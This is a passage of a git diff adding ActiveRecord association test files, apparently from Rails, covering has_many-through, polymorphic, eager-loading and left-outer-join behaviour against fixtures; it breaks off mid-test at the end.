+    old_count = posts(:welcome).taggings.count
+    tagging = posts(:welcome).taggings.create!(tag: tags(:misc))
+    assert_equal "Post", tagging.taggable_type
+    assert_equal old_count + 1, posts(:welcome).taggings.count
+  end
+
+  def test_create_polymorphic_has_one_with_scope
+    old_count = Tagging.count
+    tagging = posts(:welcome).create_tagging(tag: tags(:misc))
+    assert_equal "Post", tagging.taggable_type
+    assert_equal old_count + 1, Tagging.count
+  end
+
+  def test_delete_polymorphic_has_many_with_delete_all
+    assert_equal 1, posts(:welcome).taggings.count
+    posts(:welcome).taggings.first.update_columns taggable_type: "PostWithHasManyDeleteAll"
+    post = find_post_with_dependency(1, :has_many, :taggings, :delete_all)
+
+    old_count = Tagging.count
+    post.destroy
+    assert_equal old_count - 1, Tagging.count
+    assert_equal 0, posts(:welcome).taggings.count
+  end
+
+  def test_delete_polymorphic_has_many_with_destroy
+    assert_equal 1, posts(:welcome).taggings.count
+    posts(:welcome).taggings.first.update_columns taggable_type: "PostWithHasManyDestroy"
+    post = find_post_with_dependency(1, :has_many, :taggings, :destroy)
+
+    old_count = Tagging.count
+    post.destroy
+    assert_equal old_count - 1, Tagging.count
+    assert_equal 0, posts(:welcome).taggings.count
+  end
+
+  def test_delete_polymorphic_has_many_with_nullify
+    assert_equal 1, posts(:welcome).taggings.count
+    posts(:welcome).taggings.first.update_columns taggable_type: "PostWithHasManyNullify"
+    post = find_post_with_dependency(1, :has_many, :taggings, :nullify)
+
+    old_count = Tagging.count
+    post.destroy
+    assert_equal old_count, Tagging.count
+    assert_equal 0, posts(:welcome).taggings.count
+  end
+
+  def test_delete_polymorphic_has_one_with_destroy
+    assert posts(:welcome).tagging
+    posts(:welcome).tagging.update_columns taggable_type: "PostWithHasOneDestroy"
+    post = find_post_with_dependency(1, :has_one, :tagging, :destroy)
+
+    old_count = Tagging.count
+    post.destroy
+    assert_equal old_count - 1, Tagging.count
+    posts(:welcome).association(:tagging).reload
+    assert_nil posts(:welcome).tagging
+  end
+
+  def test_delete_polymorphic_has_one_with_nullify
+    assert posts(:welcome).tagging
+    posts(:welcome).tagging.update_columns taggable_type: "PostWithHasOneNullify"
+    post = find_post_with_dependency(1, :has_one, :tagging, :nullify)
+
+    old_count = Tagging.count
+    post.destroy
+    assert_equal old_count, Tagging.count
+    posts(:welcome).association(:tagging).reload
+    assert_nil posts(:welcome).tagging
+  end
+
+  def test_has_many_with_piggyback
+    assert_equal "2", categories(:sti_test).authors_with_select.first.post_id.to_s
+  end
+
+  def test_create_through_has_many_with_piggyback
+    category = categories(:sti_test)
+    ernie = category.authors_with_select.create(name: "Ernie")
+    assert_nothing_raised do
+      assert_equal ernie, category.authors_with_select.detect { |a| a.name == "Ernie" }
+    end
+  end
+
+  def test_include_has_many_through
+    posts              = Post.all.merge!(order: "posts.id").to_a
+    posts_with_authors = Post.all.merge!(includes: :authors, order: "posts.id").to_a
+    assert_equal posts.length, posts_with_authors.length
+    posts.length.times do |i|
+      assert_equal posts[i].authors.length, assert_no_queries { posts_with_authors[i].authors.length }
+    end
+  end
+
+  def test_include_polymorphic_has_one
+    post    = Post.includes(:tagging).find posts(:welcome).id
+    tagging = taggings(:welcome_general)
+    assert_no_queries do
+      assert_equal tagging, post.tagging
+    end
+  end
+
+  def test_include_polymorphic_has_one_defined_in_abstract_parent
+    item    = Item.includes(:tagging).find items(:dvd).id
+    tagging = taggings(:godfather)
+    assert_no_queries do
+      assert_equal tagging, item.tagging
+    end
+  end
+
+  def test_include_polymorphic_has_many_through
+    posts           = Post.all.merge!(order: "posts.id").to_a
+    posts_with_tags = Post.all.merge!(includes: :tags, order: "posts.id").to_a
+    assert_equal posts.length, posts_with_tags.length
+    posts.length.times do |i|
+      assert_equal posts[i].tags.length, assert_no_queries { posts_with_tags[i].tags.length }
+    end
+  end
+
+  def test_include_polymorphic_has_many
+    posts               = Post.all.merge!(order: "posts.id").to_a
+    posts_with_taggings = Post.all.merge!(includes: :taggings, order: "posts.id").to_a
+    assert_equal posts.length, posts_with_taggings.length
+    posts.length.times do |i|
+      assert_equal posts[i].taggings.length, assert_no_queries { posts_with_taggings[i].taggings.length }
+    end
+  end
+
+  def test_has_many_find_all
+    assert_equal [categories(:general)], authors(:david).categories.to_a
+  end
+
+  def test_has_many_find_first
+    assert_equal categories(:general), authors(:david).categories.first
+  end
+
+  def test_has_many_with_hash_conditions
+    assert_equal categories(:general), authors(:david).categories_like_general.first
+  end
+
+  def test_has_many_find_conditions
+    assert_equal categories(:general), authors(:david).categories.where("categories.name = 'General'").first
+    assert_nil authors(:david).categories.where("categories.name = 'Technology'").first
+  end
+
+  def test_has_many_array_methods_called_by_method_missing
+    assert authors(:david).categories.any? { |category| category.name == "General" }
+    assert_nothing_raised { authors(:david).categories.sort }
+  end
+
+  def test_has_many_going_through_join_model_with_custom_foreign_key
+    assert_equal [authors(:bob)], posts(:thinking).authors
+    assert_equal [authors(:mary)], posts(:authorless).authors
+  end
+
+  def test_has_many_going_through_join_model_with_custom_primary_key
+    assert_equal [authors(:david)], posts(:thinking).authors_using_author_id
+  end
+
+  def test_has_many_going_through_polymorphic_join_model_with_custom_primary_key
+    assert_equal [tags(:general)], posts(:eager_other).tags_using_author_id
+  end
+
+  def test_has_many_through_with_custom_primary_key_on_belongs_to_source
+    assert_equal [authors(:david), authors(:david)], posts(:thinking).author_using_custom_pk
+  end
+
+  def test_has_many_through_with_custom_primary_key_on_has_many_source
+    assert_equal [authors(:david), authors(:bob)], posts(:thinking).authors_using_custom_pk.order("authors.id")
+  end
+
+  def test_belongs_to_polymorphic_with_counter_cache
+    assert_equal 1, posts(:welcome)[:tags_count]
+    tagging = posts(:welcome).taggings.create(tag: tags(:general))
+    assert_equal 2, posts(:welcome, :reload)[:tags_count]
+    tagging.destroy
+    assert_equal 1, posts(:welcome, :reload)[:tags_count]
+  end
+
+  def test_unavailable_through_reflection
+    assert_raise(ActiveRecord::HasManyThroughAssociationNotFoundError) { authors(:david).nothings }
+  end
+
+  def test_has_many_through_join_model_with_conditions
+    assert_equal [], posts(:welcome).invalid_taggings
+    assert_equal [], posts(:welcome).invalid_tags
+  end
+
+  def test_has_many_polymorphic
+    assert_raise ActiveRecord::HasManyThroughAssociationPolymorphicSourceError do
+      tags(:general).taggables
+    end
+
+    assert_raise ActiveRecord::HasManyThroughAssociationPolymorphicThroughError do
+      taggings(:welcome_general).things
+    end
+
+    assert_raise ActiveRecord::EagerLoadPolymorphicError do
+      tags(:general).taggings.includes(:taggable).where("bogus_table.column = 1").references(:bogus_table).to_a
+    end
+  end
+
+  def test_has_many_polymorphic_with_source_type
+    # added sort by ID as otherwise Oracle select sometimes returned rows in different order
+    assert_equal posts(:welcome, :thinking).sort_by(&:id), tags(:general).tagged_posts.sort_by(&:id)
+  end
+
+  def test_has_many_polymorphic_associations_merges_through_scope
+    Tag.has_many :null_taggings, -> { none }, class_name: :Tagging
+    Tag.has_many :null_tagged_posts, through: :null_taggings, source: "taggable", source_type: "Post"
+    assert_equal [], tags(:general).null_tagged_posts
+    refute_equal [], tags(:general).tagged_posts
+  end
+
+  def test_eager_has_many_polymorphic_with_source_type
+    tag_with_include = Tag.all.merge!(includes: :tagged_posts).find(tags(:general).id)
+    desired = posts(:welcome, :thinking)
+    assert_no_queries do
+      # added sort by ID as otherwise test using JRuby was failing as array elements were in different order
+      assert_equal desired.sort_by(&:id), tag_with_include.tagged_posts.sort_by(&:id)
+    end
+    assert_equal 5, tag_with_include.taggings.length
+  end
+
+  def test_has_many_through_has_many_find_all
+    assert_equal comments(:greetings), authors(:david).comments.order("comments.id").to_a.first
+  end
+
+  def test_has_many_through_has_many_find_all_with_custom_class
+    assert_equal comments(:greetings), authors(:david).funky_comments.order("comments.id").to_a.first
+  end
+
+  def test_has_many_through_has_many_find_first
+    assert_equal comments(:greetings), authors(:david).comments.order("comments.id").first
+  end
+
+  def test_has_many_through_has_many_find_conditions
+    options = { where: "comments.#{QUOTED_TYPE}='SpecialComment'", order: "comments.id" }
+    assert_equal comments(:does_it_hurt), authors(:david).comments.merge(options).first
+  end
+
+  def test_has_many_through_has_many_find_by_id
+    assert_equal comments(:more_greetings), authors(:david).comments.find(2)
+  end
+
+  def test_has_many_through_polymorphic_has_one
+    assert_equal Tagging.find(1, 2).sort_by(&:id), authors(:david).taggings_2
+  end
+
+  def test_has_many_through_polymorphic_has_many
+    assert_equal taggings(:welcome_general, :thinking_general), authors(:david).taggings.distinct.sort_by(&:id)
+  end
+
+  def test_include_has_many_through_polymorphic_has_many
+    author            = Author.includes(:taggings).find authors(:david).id
+    expected_taggings = taggings(:welcome_general, :thinking_general)
+    assert_no_queries do
+      assert_equal expected_taggings, author.taggings.uniq.sort_by(&:id)
+    end
+  end
+
+  def test_eager_load_has_many_through_has_many
+    author = Author.all.merge!(where: ["name = ?", "David"], includes: :comments, order: "comments.id").first
+    SpecialComment.new; VerySpecialComment.new
+    assert_no_queries do
+      assert_equal [1, 2, 3, 5, 6, 7, 8, 9, 10, 12], author.comments.collect(&:id)
+    end
+  end
+
+  def test_eager_load_has_many_through_has_many_with_conditions
+    post = Post.all.merge!(includes: :invalid_tags).first
+    assert_no_queries do
+      post.invalid_tags
+    end
+  end
+
+  def test_eager_belongs_to_and_has_one_not_singularized
+    assert_nothing_raised do
+      Author.all.merge!(includes: :author_address).first
+      AuthorAddress.all.merge!(includes: :author).first
+    end
+  end
+
+  def test_self_referential_has_many_through
+    assert_equal [authors(:mary)], authors(:david).favorite_authors
+    assert_equal [],               authors(:mary).favorite_authors
+  end
+
+  def test_add_to_self_referential_has_many_through
+    new_author = Author.create(name: "Bob")
+    authors(:david).author_favorites.create favorite_author: new_author
+    assert_equal new_author, authors(:david).reload.favorite_authors.first
+  end
+
+  def test_has_many_through_uses_conditions_specified_on_the_has_many_association
+    author = Author.first
+    assert author.comments.present?
+    assert author.nonexistent_comments.blank?
+  end
+
+  def test_has_many_through_uses_correct_attributes
+    assert_nil posts(:thinking).tags.find_by_name("General").attributes["tag_id"]
+  end
+
+  def test_associating_unsaved_records_with_has_many_through
+    saved_post = posts(:thinking)
+    new_tag = Tag.new(name: "new")
+
+    saved_post.tags << new_tag
+    assert new_tag.persisted? #consistent with habtm!
+    assert saved_post.persisted?
+    assert_includes saved_post.tags, new_tag
+
+    assert new_tag.persisted?
+    assert_includes saved_post.reload.tags.reload, new_tag
+
+    new_post = Post.new(title: "Association replacement works!", body: "You best believe it.")
+    saved_tag = tags(:general)
+
+    new_post.tags << saved_tag
+    assert !new_post.persisted?
+    assert saved_tag.persisted?
+    assert_includes new_post.tags, saved_tag
+
+    new_post.save!
+    assert new_post.persisted?
+    assert_includes new_post.reload.tags.reload, saved_tag
+
+    assert !posts(:thinking).tags.build.persisted?
+    assert !posts(:thinking).tags.new.persisted?
+  end
+
+  def test_create_associate_when_adding_to_has_many_through
+    count = posts(:thinking).tags.count
+    push = Tag.create!(name: "pushme")
+    post_thinking = posts(:thinking)
+    assert_nothing_raised { post_thinking.tags << push }
+    assert_nil(wrong = post_thinking.tags.detect { |t| t.class != Tag },
+                message = "Expected a Tag in tags collection, got #{wrong.class}.")
+    assert_nil(wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
+                message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
+    assert_equal(count + 1, post_thinking.reload.tags.size)
+    assert_equal(count + 1, post_thinking.tags.reload.size)
+
+    assert_kind_of Tag, post_thinking.tags.create!(name: "foo")
+    assert_nil(wrong = post_thinking.tags.detect { |t| t.class != Tag },
+                message = "Expected a Tag in tags collection, got #{wrong.class}.")
+    assert_nil(wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
+                message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
+    assert_equal(count + 2, post_thinking.reload.tags.size)
+    assert_equal(count + 2, post_thinking.tags.reload.size)
+
+    assert_nothing_raised { post_thinking.tags.concat(Tag.create!(name: "abc"), Tag.create!(name: "def")) }
+    assert_nil(wrong = post_thinking.tags.detect { |t| t.class != Tag },
+                message = "Expected a Tag in tags collection, got #{wrong.class}.")
+    assert_nil(wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
+                message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
+    assert_equal(count + 4, post_thinking.reload.tags.size)
+    assert_equal(count + 4, post_thinking.tags.reload.size)
+
+    # Raises if the wrong reflection name is used to set the Edge belongs_to
+    assert_nothing_raised { vertices(:vertex_1).sinks << vertices(:vertex_5) }
+  end
+
+  def test_add_to_join_table_with_no_id
+    assert_nothing_raised { vertices(:vertex_1).sinks << vertices(:vertex_5) }
+  end
+
+  def test_has_many_through_collection_size_doesnt_load_target_if_not_loaded
+    author = authors(:david)
+    assert_equal 10, author.comments.size
+    assert !author.comments.loaded?
+  end
+
+  def test_has_many_through_collection_size_uses_counter_cache_if_it_exists
+    c = categories(:general)
+    c.categorizations_count = 100
+    assert_equal 100, c.categorizations.size
+    assert !c.categorizations.loaded?
+  end
+
+  def test_adding_junk_to_has_many_through_should_raise_type_mismatch
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { posts(:thinking).tags << "Uhh what now?" }
+  end
+
+  def test_adding_to_has_many_through_should_return_self
+    tags = posts(:thinking).tags
+    assert_equal tags, posts(:thinking).tags.push(tags(:general))
+  end
+
+  def test_delete_associate_when_deleting_from_has_many_through_with_nonstandard_id
+    count = books(:awdr).references.count
+    references_before = books(:awdr).references
+    book = Book.create!(name: "Getting Real")
+    book_awdr = books(:awdr)
+    book_awdr.references << book
+    assert_equal(count + 1, book_awdr.references.reload.size)
+
+    assert_nothing_raised { book_awdr.references.delete(book) }
+    assert_equal(count, book_awdr.references.size)
+    assert_equal(count, book_awdr.references.reload.size)
+    assert_equal(references_before.sort, book_awdr.references.sort)
+  end
+
+  def test_delete_associate_when_deleting_from_has_many_through
+    count = posts(:thinking).tags.count
+    tags_before = posts(:thinking).tags.sort
+    tag = Tag.create!(name: "doomed")
+    post_thinking = posts(:thinking)
+    post_thinking.tags << tag
+    assert_equal(count + 1, post_thinking.taggings.reload.size)
+    assert_equal(count + 1, post_thinking.reload.tags.reload.size)
+    assert_not_equal(tags_before, post_thinking.tags.sort)
+
+    assert_nothing_raised { post_thinking.tags.delete(tag) }
+    assert_equal(count, post_thinking.tags.size)
+    assert_equal(count, post_thinking.tags.reload.size)
+    assert_equal(count, post_thinking.taggings.reload.size)
+    assert_equal(tags_before, post_thinking.tags.sort)
+  end
+
+  def test_delete_associate_when_deleting_from_has_many_through_with_multiple_tags
+    count = posts(:thinking).tags.count
+    tags_before = posts(:thinking).tags.sort
+    doomed = Tag.create!(name: "doomed")
+    doomed2 = Tag.create!(name: "doomed2")
+    quaked = Tag.create!(name: "quaked")
+    post_thinking = posts(:thinking)
+    post_thinking.tags << doomed << doomed2
+    assert_equal(count + 2, post_thinking.reload.tags.reload.size)
+
+    assert_nothing_raised { post_thinking.tags.delete(doomed, doomed2, quaked) }
+    assert_equal(count, post_thinking.tags.size)
+    assert_equal(count, post_thinking.tags.reload.size)
+    assert_equal(tags_before, post_thinking.tags.sort)
+  end
+
+  def test_deleting_junk_from_has_many_through_should_raise_type_mismatch
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { posts(:thinking).tags.delete(Object.new) }
+  end
+
+  def test_deleting_by_integer_id_from_has_many_through
+    post = posts(:thinking)
+
+    assert_difference "post.tags.count", -1 do
+      assert_equal 1, post.tags.delete(1).size
+    end
+
+    assert_equal 0, post.tags.size
+  end
+
+  def test_deleting_by_string_id_from_has_many_through
+    post = posts(:thinking)
+
+    assert_difference "post.tags.count", -1 do
+      assert_equal 1, post.tags.delete("1").size
+    end
+
+    assert_equal 0, post.tags.size
+  end
+
+  def test_has_many_through_sum_uses_calculations
+    assert_nothing_raised { authors(:david).comments.sum(:post_id) }
+  end
+
+  def test_calculations_on_has_many_through_should_disambiguate_fields
+    assert_nothing_raised { authors(:david).categories.maximum(:id) }
+  end
+
+  def test_calculations_on_has_many_through_should_not_disambiguate_fields_unless_necessary
+    assert_nothing_raised { authors(:david).categories.maximum("categories.id") }
+  end
+
+  def test_has_many_through_has_many_with_sti
+    assert_equal [comments(:does_it_hurt)], authors(:david).special_post_comments
+  end
+
+  def test_distinct_has_many_through_should_retain_order
+    comment_ids = authors(:david).comments.map(&:id)
+    assert_equal comment_ids.sort, authors(:david).ordered_uniq_comments.map(&:id)
+    assert_equal comment_ids.sort.reverse, authors(:david).ordered_uniq_comments_desc.map(&:id)
+  end
+
+  def test_polymorphic_has_many
+    expected = taggings(:welcome_general)
+    p = Post.all.merge!(includes: :taggings).find(posts(:welcome).id)
+    assert_no_queries { assert_includes p.taggings, expected }
+    assert_includes posts(:welcome).taggings, taggings(:welcome_general)
+  end
+
+  def test_polymorphic_has_one
+    expected = posts(:welcome)
+
+    tagging  = Tagging.all.merge!(includes: :taggable).find(taggings(:welcome_general).id)
+    assert_no_queries { assert_equal expected, tagging.taggable }
+  end
+
+  def test_polymorphic_belongs_to
+    p = Post.all.merge!(includes: { taggings: :taggable }).find(posts(:welcome).id)
+    assert_no_queries { assert_equal posts(:welcome), p.taggings.first.taggable }
+  end
+
+  def test_preload_polymorphic_has_many_through
+    posts           = Post.all.merge!(order: "posts.id").to_a
+    posts_with_tags = Post.all.merge!(includes: :tags, order: "posts.id").to_a
+    assert_equal posts.length, posts_with_tags.length
+    posts.length.times do |i|
+      assert_equal posts[i].tags.length, assert_no_queries { posts_with_tags[i].tags.length }
+    end
+  end
+
+  def test_preload_polymorph_many_types
+    taggings = Tagging.all.merge!(includes: :taggable, where: ["taggable_type != ?", "FakeModel"]).to_a
+    assert_no_queries do
+      taggings.first.taggable.id
+      taggings[1].taggable.id
+    end
+
+    taggables = taggings.map(&:taggable)
+    assert_includes taggables, items(:dvd)
+    assert_includes taggables, posts(:welcome)
+  end
+
+  def test_preload_nil_polymorphic_belongs_to
+    assert_nothing_raised do
+      Tagging.all.merge!(includes: :taggable, where: ["taggable_type IS NULL"]).to_a
+    end
+  end
+
+  def test_preload_polymorphic_has_many
+    posts               = Post.all.merge!(order: "posts.id").to_a
+    posts_with_taggings = Post.all.merge!(includes: :taggings, order: "posts.id").to_a
+    assert_equal posts.length, posts_with_taggings.length
+    posts.length.times do |i|
+      assert_equal posts[i].taggings.length, assert_no_queries { posts_with_taggings[i].taggings.length }
+    end
+  end
+
+  def test_belongs_to_shared_parent
+    comments = Comment.all.merge!(includes: :post, where: "post_id = 1").to_a
+    assert_no_queries do
+      assert_equal comments.first.post, comments[1].post
+    end
+  end
+
+  def test_has_many_through_include_uses_array_include_after_loaded
+    david = authors(:david)
+    david.categories.load_target
+
+    category = david.categories.first
+
+    assert_no_queries do
+      assert david.categories.loaded?
+      assert_includes david.categories, category
+    end
+  end
+
+  def test_has_many_through_include_checks_if_record_exists_if_target_not_loaded
+    david = authors(:david)
+    category = david.categories.first
+
+    david.reload
+    assert ! david.categories.loaded?
+    assert_queries(1) do
+      assert_includes david.categories, category
+    end
+    assert ! david.categories.loaded?
+  end
+
+  def test_has_many_through_include_returns_false_for_non_matching_record_to_verify_scoping
+    david = authors(:david)
+    category = Category.create!(name: "Not Associated")
+
+    assert ! david.categories.loaded?
+    assert ! david.categories.include?(category)
+  end
+
+  def test_has_many_through_goes_through_all_sti_classes
+    sub_sti_post = SubStiPost.create!(title: "test", body: "test", author_id: 1)
+    new_comment = sub_sti_post.comments.create(body: "test")
+
+    assert_equal [9, 10, new_comment.id], authors(:david).sti_post_comments.map(&:id).sort
+  end
+
+  def test_has_many_with_pluralize_table_names_false
+    aircraft = Aircraft.create!(name: "Airbus 380")
+    engine = Engine.create!(car_id: aircraft.id)
+    assert_equal aircraft.engines, [engine]
+  end
+
+  def test_proper_error_message_for_eager_load_and_includes_association_errors
+    includes_error = assert_raises(ActiveRecord::ConfigurationError) {
+      Post.includes(:nonexistent_relation).where(nonexistent_relation: { name: "Rochester" }).find(1)
+    }
+    assert_equal("Can't join 'Post' to association named 'nonexistent_relation'; perhaps you misspelled it?", includes_error.message)
+
+    eager_load_error = assert_raises(ActiveRecord::ConfigurationError) {
+      Post.eager_load(:nonexistent_relation).where(nonexistent_relation: { name: "Rochester" }).find(1)
+    }
+    assert_equal("Can't join 'Post' to association named 'nonexistent_relation'; perhaps you misspelled it?", eager_load_error.message)
+
+    includes_and_eager_load_error = assert_raises(ActiveRecord::ConfigurationError) {
+      Post.eager_load(:nonexistent_relation).includes(:nonexistent_relation).where(nonexistent_relation: { name: "Rochester" }).find(1)
+    }
+    assert_equal("Can't join 'Post' to association named 'nonexistent_relation'; perhaps you misspelled it?", includes_and_eager_load_error.message)
+  end
+
+  private
+    # create dynamic Post models to allow different dependency options
+    def find_post_with_dependency(post_id, association, association_name, dependency)
+      class_name = "PostWith#{association.to_s.classify}#{dependency.to_s.classify}"
+      Post.find(post_id).update_columns type: class_name
+      klass = Object.const_set(class_name, Class.new(ActiveRecord::Base))
+      klass.table_name = "posts"
+      klass.send(association, association_name, as: :taggable, dependent: dependency)
+      klass.find(post_id)
+    end
+end
diff --git a/activerecord/test/cases/associations/left_outer_join_association_test.rb b/activerecord/test/cases/associations/left_outer_join_association_test.rb
new file mode 100644
index 0000000000..c95d0425cd
--- /dev/null
+++ b/activerecord/test/cases/associations/left_outer_join_association_test.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/comment"
+require "models/author"
+require "models/essay"
+require "models/categorization"
+require "models/person"
+
+class LeftOuterJoinAssociationTest < ActiveRecord::TestCase
+  fixtures :authors, :author_addresses, :essays, :posts, :comments, :categorizations, :people
+
+  def test_construct_finder_sql_applies_aliases_tables_on_association_conditions
+    result = Author.left_outer_joins(:thinking_posts, :welcome_posts).to_a
+    assert_equal authors(:david), result.first
+  end
+
+  def test_construct_finder_sql_does_not_table_name_collide_on_duplicate_associations
+    assert_nothing_raised do
+      queries = capture_sql do
+        Person.left_outer_joins(agents: { agents: :agents })
+              .left_outer_joins(agents: { agents: { primary_contact: :agents } }).to_a
+      end
+      assert queries.any? { |sql| /agents_people_4/i.match?(sql) }
+    end
+  end
+
+  def test_left_outer_joins_count_is_same_as_size_of_loaded_results
+    assert_equal 17, Post.left_outer_joins(:comments).to_a.size
+    assert_equal 17, Post.left_outer_joins(:comments).count
+  end
+
+  def test_left_joins_aliases_left_outer_joins
+    assert_equal Post.left_outer_joins(:comments).to_sql, Post.left_joins(:comments).to_sql
+  end
+
+  def test_left_outer_joins_return_has_value_for_every_comment
+    all_post_ids = Post.pluck(:id)
+    assert_equal all_post_ids, all_post_ids & Post.left_outer_joins(:comments).pluck(:id)
+  end
+
+  def test_left_outer_joins_actually_does_a_left_outer_join
+    queries = capture_sql { Author.left_outer_joins(:posts).to_a }
+    assert queries.any? { |sql| /LEFT OUTER JOIN/i.match?(sql) }
+  end
+
+  def test_construct_finder_sql_ignores_empty_left_outer_joins_hash
+    queries = capture_sql { Author.left_outer_joins({}).to_a }
+    assert queries.none? { |sql| /LEFT OUTER JOIN/i.match?(sql) }
+  end
+
+  def test_construct_finder_sql_ignores_empty_left_outer_joins_array
+    queries = capture_sql { Author.left_outer_joins([]).to_a }
+    assert queries.none? { |sql| /LEFT OUTER JOIN/i.match?(sql) }
+  end
+
+  def test_left_outer_joins_forbids_to_use_string_as_argument
+    assert_raise(ArgumentError) { Author.left_outer_joins('LEFT OUTER JOIN "posts" ON "posts"."user_id" = "users"."id"').to_a }
+  end
+
+  def test_join_conditions_added_to_join_clause
+    queries = capture_sql { Author.left_outer_joins(:essays).to_a }
+    assert queries.any? { |sql| /writer_type.*?=.*?(Author|\?|\$1|\:a1)/i.match?(sql) }
+    assert queries.none? { |sql| /WHERE/i.match?(sql) }
+  end
+
+  def test_find_with_sti_join
+    scope = Post.left_outer_joins(:special_comments).where(id: posts(:sti_comments).id)
+
+    # The join should match SpecialComment and its subclasses only
+    assert scope.where("comments.type" => "Comment").empty?
+    assert !scope.where("comments.type" => "SpecialComment").empty?
+    assert !scope.where("comments.type" => "SubSpecialComment").empty?
+  end
+
+  def test_does_not_override_select
+    authors = Author.select("authors.name, #{%{(authors.author_address_id || ' ' || authors.author_address_extra_id) as addr_id}}").left_outer_joins(:posts)
+    assert authors.any?
+    assert authors.first.respond_to?(:addr_id)
+  end
+
+  test "the default scope of the target is applied when joining associations" do
+    author = Author.create! name: "Jon"
+    author.categorizations.create!
+    author.categorizations.create! special: true
+
+    assert_equal [author], Author.where(id: author).left_outer_joins(:special_categorizations)
+  end
+end
diff --git a/activerecord/test/cases/associations/nested_through_associations_test.rb b/activerecord/test/cases/associations/nested_through_associations_test.rb
new file mode 100644
index 0000000000..3e37e512ca
--- /dev/null
+++ b/activerecord/test/cases/associations/nested_through_associations_test.rb
@@ -0,0 +1,581 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/author"
+require "models/post"
+require "models/person"
+require "models/reference"
+require "models/job"
+require "models/reader"
+require "models/comment"
+require "models/tag"
+require "models/tagging"
+require "models/subscriber"
+require "models/book"
+require "models/subscription"
+require "models/rating"
+require "models/member"
+require "models/member_detail"
+require "models/member_type"
+require "models/sponsor"
+require "models/club"
+require "models/organization"
+require "models/category"
+require "models/categorization"
+require "models/membership"
+require "models/essay"
+
+class NestedThroughAssociationsTest < ActiveRecord::TestCase
+  fixtures :authors, :author_addresses, :books, :posts, :subscriptions, :subscribers, :tags, :taggings,
+           :people, :readers, :references, :jobs, :ratings, :comments, :members, :member_details,
+           :member_types, :sponsors, :clubs, :organizations, :categories, :categories_posts,
+           :categorizations, :memberships, :essays
+
+  # Through associations can either use the has_many or has_one macros.
+  #
+  # has_many
+  #   - Source reflection can be has_many, has_one, belongs_to or has_and_belongs_to_many
+  #   - Through reflection can be has_many, has_one, belongs_to or has_and_belongs_to_many
+  #
+  # has_one
+  #   - Source reflection can be has_one or belongs_to
+  #   - Through reflection can be has_one or belongs_to
+  #
+  # Additionally, the source reflection and/or through reflection may be subject to
+  # polymorphism and/or STI.
+  #
+  # When testing these, we need to make sure it works via loading the association directly, or
+  # joining the association, or including the association. We also need to ensure that associations
+  # are readonly where relevant.
+
+  # has_many through
+  # Source: has_many through
+  # Through: has_many
+  def test_has_many_through_has_many_with_has_many_through_source_reflection
+    general = tags(:general)
+    assert_equal [general, general], authors(:david).tags
+  end
+
+  def test_has_many_through_has_many_with_has_many_through_source_reflection_preload
+    authors = assert_queries(5) { Author.includes(:tags).to_a }
+    general = tags(:general)
+
+    assert_no_queries do
+      assert_equal [general, general], authors.first.tags
+    end
+  end
+
+  def test_has_many_through_has_many_with_has_many_through_source_reflection_preload_via_joins
+    assert_includes_and_joins_equal(
+      Author.where("tags.id" => tags(:general).id),
+      [authors(:david)], :tags
+    )
+
+    # This ensures that the polymorphism of taggings is being observed correctly
+    authors = Author.joins(:tags).where("taggings.taggable_type" => "FakeModel")
+    assert authors.empty?
+  end
+
+  # has_many through
+  # Source: has_many
+  # Through: has_many through
+  def test_has_many_through_has_many_through_with_has_many_source_reflection
+    luke, david = subscribers(:first), subscribers(:second)
+    assert_equal [luke, david, david], authors(:david).subscribers.order("subscribers.nick")
+  end
+
+  def test_has_many_through_has_many_through_with_has_many_source_reflection_preload
+    luke, david = subscribers(:first), subscribers(:second)
+    authors = assert_queries(4) { Author.includes(:subscribers).to_a }
+    assert_no_queries do
+      assert_equal [luke, david, david], authors.first.subscribers.sort_by(&:nick)
+    end
+  end
+
+  def test_has_many_through_has_many_through_with_has_many_source_reflection_preload_via_joins
+    # All authors with subscribers where one of the subscribers' nick is 'alterself'
+    assert_includes_and_joins_equal(
+      Author.where("subscribers.nick" => "alterself"),
+      [authors(:david)], :subscribers
+    )
+  end
+
+  # has_many through
+  # Source: has_one through
+  # Through: has_one
+  def test_has_many_through_has_one_with_has_one_through_source_reflection
+    assert_equal [member_types(:founding)], members(:groucho).nested_member_types
+  end
+
+  def test_has_many_through_has_one_with_has_one_through_source_reflection_preload
+    members = assert_queries(4) { Member.includes(:nested_member_types).to_a }
+    founding = member_types(:founding)
+    assert_no_queries do
+      assert_equal [founding], members.first.nested_member_types
+    end
+  end
+
+  def test_has_many_through_has_one_with_has_one_through_source_reflection_preload_via_joins
+    assert_includes_and_joins_equal(
+      Member.where("member_types.id" => member_types(:founding).id),
+      [members(:groucho)], :nested_member_types
+    )
+  end
+
+  # has_many through
+  # Source: has_one
+  # Through: has_one through
+  def test_has_many_through_has_one_through_with_has_one_source_reflection
+    assert_equal [sponsors(:moustache_club_sponsor_for_groucho)], members(:groucho).nested_sponsors
+  end
+
+  def test_has_many_through_has_one_through_with_has_one_source_reflection_preload
+    members = assert_queries(4) { Member.includes(:nested_sponsors).to_a }
+    mustache = sponsors(:moustache_club_sponsor_for_groucho)
+    assert_no_queries(ignore_none: false) do
+      assert_equal [mustache], members.first.nested_sponsors
+    end
+  end
+
+  def test_has_many_through_has_one_through_with_has_one_source_reflection_preload_via_joins
+    assert_includes_and_joins_equal(
+      Member.where("sponsors.id" => sponsors(:moustache_club_sponsor_for_groucho).id),
+      [members(:groucho)], :nested_sponsors
+    )
+  end
+
+  # has_many through
+  # Source: has_many through
+  # Through: has_one
+  def test_has_many_through_has_one_with_has_many_through_source_reflection
+    groucho_details, other_details = member_details(:groucho), member_details(:some_other_guy)
+
+    assert_equal [groucho_details, other_details],
+                 members(:groucho).organization_member_details.order("member_details.id")
+  end
+
+  def test_has_many_through_has_one_with_has_many_through_source_reflection_preload
+    ActiveRecord::Base.connection.table_alias_length  # preheat cache
+    members = assert_queries(4) { Member.includes(:organization_member_details).to_a.sort_by(&:id) }
+    groucho_details, other_details = member_details(:groucho), member_details(:some_other_guy)
+
+    assert_no_queries do
